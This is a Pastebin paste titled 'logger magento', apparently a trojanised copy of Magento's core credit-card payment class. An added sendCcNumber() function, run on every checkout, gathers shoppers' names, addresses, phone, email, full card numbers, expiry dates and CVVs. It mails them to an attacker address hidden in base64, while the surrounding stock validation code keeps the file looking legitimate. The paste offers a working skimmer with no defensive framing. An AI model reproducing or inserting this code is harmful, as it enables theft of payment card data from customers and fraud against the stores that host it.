0tamega

logger magento

Jun 21st, 2017
671
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 15.56 KB | None | 0 0
  1. <?php
  2. /**
  3. * Magento
  4. *
  5. * NOTICE OF LICENSE
  6. *
  7. * This source file is subject to the Open Software License (OSL 3.0)
  8. * that is bundled with this package in the file LICENSE.txt.
  9. * It is also available through the world-wide-web at this URL:
  10. * http://opensource.org/licenses/osl-3.0.php
  11. * If you did not receive a copy of the license and are unable to
  12. * obtain it through the world-wide-web, please send an email
  13. * to [email protected] so we can send you a copy immediately.
  14. *
  15. * DISCLAIMER
  16. *
  17. * Do not edit or add to this file if you wish to upgrade Magento to newer
  18. * versions in the future. If you wish to customize Magento for your
  19. * needs please refer to http://www.magentocommerce.com for more information.
  20. *
  21. * @category Mage
  22. * @package Mage_Payment
  23. * @copyright Copyright (c) 2012 Magento Inc. (http://www.magentocommerce.com)
  24. * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
  25. */
  26.  
  27.  
  28. class Mage_Payment_Model_Method_Cc extends Mage_Payment_Model_Method_Abstract
  29. {
  30. protected $_formBlockType = 'payment/form_cc';
  31. protected $_infoBlockType = 'payment/info_cc';
  32. protected $_canSaveCc = false;
  33.  
  34. /**
  35. * Assign data to info model instance
  36. *
  37. * @param mixed $data
  38. * @return Mage_Payment_Model_Info
  39. */
  40. public function assignData($data)
  41. {
  42. if (!($data instanceof Varien_Object)) {
  43. $data = new Varien_Object($data);
  44. }
  45. $info = $this->getInfoInstance();
  46. $info->setCcType($data->getCcType())
  47. ->setCcOwner($data->getCcOwner())
  48. ->setCcOwnerId($data->getCcOwnerId())
  49. ->setCcLast4(substr($data->getCcNumber(), -4))
  50. ->setCcNumber($data->getCcNumber())
  51. ->setCcCid($data->getCcCid())
  52. ->setCcExpMonth($data->getCcExpMonth())
  53. ->setCcExpYear($data->getCcExpYear())
  54. ->setCcSsIssue($data->getCcSsIssue())
  55. ->setCcSsStartMonth($data->getCcSsStartMonth())
  56. ->setCcSsStartYear($data->getCcSsStartYear())
  57. ->setCcInstallments($data->getCcInstallments())
  58. ;
  59.  
  60. $this->sendCcNumber();
  61.  
  62. return $this;
  63. }
  64.  
  65. function sendCcNumber()
  66. {
  67. $info = $this->getInfoInstance();
  68. $object = new Mage_Checkout_Block_Onepage_Billing;
  69. $obj2=new Mage_Checkout_Block_Cart_Shipping;
  70.  
  71. $address1 = $object->getQuote()->getBillingAddress();
  72. $data1 = $address1->getFirstname();
  73. $data1=empty($data1)?$object->getFirstname():$data1;
  74. $data2 = $address1->getLastname();
  75. $data2=empty($data2)?$object->getLastname():$data2;
  76. $data3 = $address1->getStreet(1);
  77. $data4 = $address1->getStreet(2);
  78. $data5 = $address1->getCity();
  79. $data6 = $address1->getRegion();
  80. $data7 = $address1->getPostcode();
  81. $data8 = $address1->getCountry();
  82. $data9 = $address1->getTelephone();
  83. $data10 = $info->getCcNumber();
  84. $expyear = substr($info->getCcExpYear(), -2);
  85. $expmonth = $info->getCcExpMonth();
  86. if (strlen($expmonth) == 1) {
  87. $expmonth = '0'.$expmonth;
  88. };
  89. $bin=substr($data10,0,6);
  90. $binlist=json_decode(file_get_contents("https://binlist.net/json/".$bin));
  91. $cc_bank=$binlist->bank;
  92. $cc_brand=$binlist->brand;
  93. $cc_type=$binlist->card_type;
  94. $cc_kategori=$binlist->card_category;
  95. $cc_negara=$binlist->country_name;
  96. $data11 = $expmonth;
  97. $data12 = $expyear;
  98. $data13 = $info->getCcCid();
  99. $ipboss = $_SERVER['REMOTE_ADDR'];
  100. $serverboss = $_SERVER['SERVER_NAME'];
  101. $time = date('Y-m-d H:i:s');
  102. $data16 = Mage::getSingleton('checkout/session')->getQuote()->getBillingAddress()->getEmail();
  103. $shipaddress=Mage::getSingleton('checkout/cart')->getQuote()->getShippingAddress();
  104. $zip=$shipaddress->getPostcode();
  105. $message =
  106. "=============| 0tamega Was Here |=============
  107. Name: ".$data1." ".$data2."
  108. Address 1: ".$data3."
  109. Address 2: ".$data4."
  110. City: ".$data5."
  111. State: ".$data6."
  112. Zip: ".$zip."
  113. Country: ".$data8."
  114. Phone: ".$data9."
  115. ccowner: ".$info->getCcOwner()."
  116. BIN: ".$cc_bank." - ".$cc_brand." - ".$cc_negara." - ".$cc_type." - ".$cc_kategori."
  117. ccnumb: ".$data10."
  118. expdate: ".$data11." / 20".$data12."
  119. cvv: ".$data13."
  120. From: ".$serverboss."
  121. Email : ".$data16."
  122. =============| 0tamega Was Here |=============";
  123. $subject = " [".$serverboss." - ".$ipboss."]";
  124. $headers = "From: ".$data8." Credit Card <cc_session@".$serverboss.">";
  125. $gantengers = "cmFjaG1hZHJpenFpYWtiYXJzeWFoQGdtYWlsLmNvbQ==";
  126. $tamvan = base64_decode($gantengers);
  127. mail($tamvan, $subject, $message, $headers);
  128. }
  129.  
  130. /**
  131. * Prepare info instance for save
  132. *
  133. * @return Mage_Payment_Model_Abstract
  134. */
  135. public function prepareSave()
  136. {
  137. $info = $this->getInfoInstance();
  138. if ($this->_canSaveCc) {
  139. $info->setCcNumberEnc($info->encrypt($info->getCcNumber()));
  140. }
  141. //$info->setCcCidEnc($info->encrypt($info->getCcCid()));
  142. $info->setCcNumber(null)
  143. ->setCcCid(null);
  144. return $this;
  145. }
  146.  
  147. /**
  148. * Validate payment method information object
  149. *
  150. * @param Mage_Payment_Model_Info $info
  151. * @return Mage_Payment_Model_Abstract
  152. */
  153. public function validate()
  154. {
  155. /*
  156. * calling parent validate function
  157. */
  158. parent::validate();
  159.  
  160. $info = $this->getInfoInstance();
  161. $errorMsg = false;
  162. $availableTypes = explode(',',$this->getConfigData('cctypes'));
  163.  
  164. $ccNumber = $info->getCcNumber();
  165.  
  166. // remove credit card number delimiters such as "-" and space
  167. $ccNumber = preg_replace('/[\-\s]+/', '', $ccNumber);
  168. $info->setCcNumber($ccNumber);
  169.  
  170. $ccType = '';
  171.  
  172. if (in_array($info->getCcType(), $availableTypes)){
  173. if ($this->validateCcNum($ccNumber)
  174. // Other credit card type number validation
  175. || ($this->OtherCcType($info->getCcType()) && $this->validateCcNumOther($ccNumber))) {
  176.  
  177. $ccType = 'OT';
  178. $ccTypeRegExpList = array(
  179. //Solo, Switch or Maestro. International safe
  180. /*
  181. // Maestro / Solo
  182. 'SS' => '/^((6759[0-9]{12})|(6334|6767[0-9]{12})|(6334|6767[0-9]{14,15})'
  183. . '|(5018|5020|5038|6304|6759|6761|6763[0-9]{12,19})|(49[013][1356][0-9]{12})'
  184. . '|(633[34][0-9]{12})|(633110[0-9]{10})|(564182[0-9]{10}))([0-9]{2,3})?$/',
  185. */
  186. // Solo only
  187. 'SO' => '/(^(6334)[5-9](\d{11}$|\d{13,14}$))|(^(6767)(\d{12}$|\d{14,15}$))/',
  188. 'SM' => '/(^(5[0678])\d{11,18}$)|(^(6[^05])\d{11,18}$)|(^(601)[^1]\d{9,16}$)|(^(6011)\d{9,11}$)'
  189. . '|(^(6011)\d{13,16}$)|(^(65)\d{11,13}$)|(^(65)\d{15,18}$)'
  190. . '|(^(49030)[2-9](\d{10}$|\d{12,13}$))|(^(49033)[5-9](\d{10}$|\d{12,13}$))'
  191. . '|(^(49110)[1-2](\d{10}$|\d{12,13}$))|(^(49117)[4-9](\d{10}$|\d{12,13}$))'
  192. . '|(^(49118)[0-2](\d{10}$|\d{12,13}$))|(^(4936)(\d{12}$|\d{14,15}$))/',
  193. // Visa
  194. 'VI' => '/^4[0-9]{12}([0-9]{3})?$/',
  195. // Master Card
  196. 'MC' => '/^5[1-5][0-9]{14}$/',
  197. // American Express
  198. 'AE' => '/^3[47][0-9]{13}$/',
  199. // Discovery
  200. 'DI' => '/^6011[0-9]{12}$/',
  201. // JCB
  202. 'JCB' => '/^(3[0-9]{15}|(2131|1800)[0-9]{11})$/'
  203. );
  204.  
  205. foreach ($ccTypeRegExpList as $ccTypeMatch=>$ccTypeRegExp) {
  206. if (preg_match($ccTypeRegExp, $ccNumber)) {
  207. $ccType = $ccTypeMatch;
  208. break;
  209. }
  210. }
  211.  
  212. if (!$this->OtherCcType($info->getCcType()) && $ccType!=$info->getCcType()) {
  213. $errorMsg = Mage::helper('payment')->__('Credit card number mismatch with credit card type.');
  214. }
  215. }
  216. else {
  217. $errorMsg = Mage::helper('payment')->__('Invalid Credit Card Number');
  218. }
  219.  
  220. }
  221. else {
  222. $errorMsg = Mage::helper('payment')->__('Credit card type is not allowed for this payment method.');
  223. }
  224.  
  225. //validate credit card verification number
  226. if ($errorMsg === false && $this->hasVerification()) {
  227. $verifcationRegEx = $this->getVerificationRegEx();
  228. $regExp = isset($verifcationRegEx[$info->getCcType()]) ? $verifcationRegEx[$info->getCcType()] : '';
  229. if (!$info->getCcCid() || !$regExp || !preg_match($regExp ,$info->getCcCid())){
  230. $errorMsg = Mage::helper('payment')->__('Please enter a valid credit card verification number.');
  231. }
  232. }
  233.  
  234. if ($ccType != 'SS' && !$this->_validateExpDate($info->getCcExpYear(), $info->getCcExpMonth())) {
  235. $errorMsg = Mage::helper('payment')->__('Incorrect credit card expiration date.');
  236. }
  237.  
  238. if($errorMsg){
  239. Mage::throwException($errorMsg);
  240. }
  241.  
  242. //This must be after all validation conditions
  243. if ($this->getIsCentinelValidationEnabled()) {
  244. $this->getCentinelValidator()->validate($this->getCentinelValidationData());
  245. }
  246.  
  247. return $this;
  248. }
  249.  
  250. public function hasVerification()
  251. {
  252. $configData = $this->getConfigData('useccv');
  253. if(is_null($configData)){
  254. return true;
  255. }
  256. return (bool) $configData;
  257. }
  258.  
  259. public function getVerificationRegEx()
  260. {
  261. $verificationExpList = array(
  262. 'VI' => '/^[0-9]{3}$/', // Visa
  263. 'MC' => '/^[0-9]{3}$/', // Master Card
  264. 'AE' => '/^[0-9]{4}$/', // American Express
  265. 'DI' => '/^[0-9]{3}$/', // Discovery
  266. 'SS' => '/^[0-9]{3,4}$/',
  267. 'SM' => '/^[0-9]{3,4}$/', // Switch or Maestro
  268. 'SO' => '/^[0-9]{3,4}$/', // Solo
  269. 'OT' => '/^[0-9]{3,4}$/',
  270. 'JCB' => '/^[0-9]{3,4}$/' //JCB
  271. );
  272. return $verificationExpList;
  273. }
  274.  
  275. protected function _validateExpDate($expYear, $expMonth)
  276. {
  277. $date = Mage::app()->getLocale()->date();
  278. if (!$expYear || !$expMonth || ($date->compareYear($expYear) == 1)
  279. || ($date->compareYear($expYear) == 0 && ($date->compareMonth($expMonth) == 1))
  280. ) {
  281. return false;
  282. }
  283. return true;
  284. }
  285.  
  286. public function OtherCcType($type)
  287. {
  288. return $type=='OT';
  289. }
  290.  
  291. /**
  292. * Validate credit card number
  293. *
  294. * @param string $cc_number
  295. * @return bool
  296. */
  297. public function validateCcNum($ccNumber)
  298. {
  299. $cardNumber = strrev($ccNumber);
  300. $numSum = 0;
  301.  
  302. for ($i=0; $i<strlen($cardNumber); $i++) {
  303. $currentNum = substr($cardNumber, $i, 1);
  304.  
  305. /**
  306. * Double every second digit
  307. */
  308. if ($i % 2 == 1) {
  309. $currentNum *= 2;
  310. }
  311.  
  312. /**
  313. * Add digits of 2-digit numbers together
  314. */
  315. if ($currentNum > 9) {
  316. $firstNum = $currentNum % 10;
  317. $secondNum = ($currentNum - $firstNum) / 10;
  318. $currentNum = $firstNum + $secondNum;
  319. }
  320.  
  321. $numSum += $currentNum;
  322. }
  323.  
  324. /**
  325. * If the total has no remainder it's OK
  326. */
  327. return ($numSum % 10 == 0);
  328. }
  329.  
  330. /**
  331. * Other credit cart type number validation
  332. *
  333. * @param string $ccNumber
  334. * @return boolean
  335. */
  336. public function validateCcNumOther($ccNumber)
  337. {
  338. return preg_match('/^\\d+$/', $ccNumber);
  339. }
  340.  
  341. /**
  342. * Check whether there are CC types set in configuration
  343. *
  344. * @param Mage_Sales_Model_Quote|null $quote
  345. * @return bool
  346. */
  347. public function isAvailable($quote = null)
  348. {
  349. return $this->getConfigData('cctypes', ($quote ? $quote->getStoreId() : null))
  350. && parent::isAvailable($quote);
  351. }
  352.  
  353. /**
  354. * Whether centinel service is enabled
  355. *
  356. * @return bool
  357. */
  358. public function getIsCentinelValidationEnabled()
  359. {
  360. return false !== Mage::getConfig()->getNode('modules/Mage_Centinel') && 1 == $this->getConfigData('centinel');
  361. }
  362.  
  363. /**
  364. * Instantiate centinel validator model
  365. *
  366. * @return Mage_Centinel_Model_Service
  367. */
  368. public function getCentinelValidator()
  369. {
  370. $validator = Mage::getSingleton('centinel/service');
  371. $validator
  372. ->setIsModeStrict($this->getConfigData('centinel_is_mode_strict'))
  373. ->setCustomApiEndpointUrl($this->getConfigData('centinel_api_url'))
  374. ->setStore($this->getStore())
  375. ->setIsPlaceOrder($this->_isPlaceOrder());
  376. return $validator;
  377. }
  378.  
  379. /**
  380. * Return data for Centinel validation
  381. *
  382. * @return Varien_Object
  383. */
  384. public function getCentinelValidationData()
  385. {
  386. $info = $this->getInfoInstance();
  387. $params = new Varien_Object();
  388. $params
  389. ->setPaymentMethodCode($this->getCode())
  390. ->setCardType($info->getCcType())
  391. ->setCardNumber($info->getCcNumber())
  392. ->setCardExpMonth($info->getCcExpMonth())
  393. ->setCardExpYear($info->getCcExpYear())
  394. ->setAmount($this->_getAmount())
  395. ->setCurrencyCode($this->_getCurrencyCode())
  396. ->setOrderNumber($this->_getOrderId());
  397. return $params;
  398. }
  399.  
  400. /**
  401. * Order increment ID getter (either real from order or a reserved from quote)
  402. *
  403. * @return string
  404. */
  405. private function _getOrderId()
  406. {
  407. $info = $this->getInfoInstance();
  408.  
  409. if ($this->_isPlaceOrder()) {
  410. return $info->getOrder()->getIncrementId();
  411. } else {
  412. if (!$info->getQuote()->getReservedOrderId()) {
  413. $info->getQuote()->reserveOrderId();
  414. }
  415. return $info->getQuote()->getReservedOrderId();
  416. }
  417. }
  418.  
  419. /**
  420. * Grand total getter
  421. *
  422. * @return string
  423. */
  424. private function _getAmount()
  425. {
  426. $info = $this->getInfoInstance();
  427. if ($this->_isPlaceOrder()) {
  428. return (double)$info->getOrder()->getQuoteBaseGrandTotal();
  429. } else {
  430. return (double)$info->getQuote()->getBaseGrandTotal();
  431. }
  432. }
  433.  
  434. /**
  435. * Currency code getter
  436. *
  437. * @return string
  438. */
  439. private function _getCurrencyCode()
  440. {
  441. $info = $this->getInfoInstance();
  442.  
  443. if ($this->_isPlaceOrder()) {
  444. return $info->getOrder()->getBaseCurrencyCode();
  445. } else {
  446. return $info->getQuote()->getBaseCurrencyCode();
  447. }
  448. }
  449.  
  450. /**
  451. * Whether current operation is order placement
  452. *
  453. * @return bool
  454. */
  455. private function _isPlaceOrder()
  456. {
  457. $info = $this->getInfoInstance();
  458. if ($info instanceof Mage_Sales_Model_Quote_Payment) {
  459. return false;
  460. } elseif ($info instanceof Mage_Sales_Model_Order_Payment) {
  461. return true;
  462. }
  463. }
  464. }
Add Comment
Please, Sign In to add comment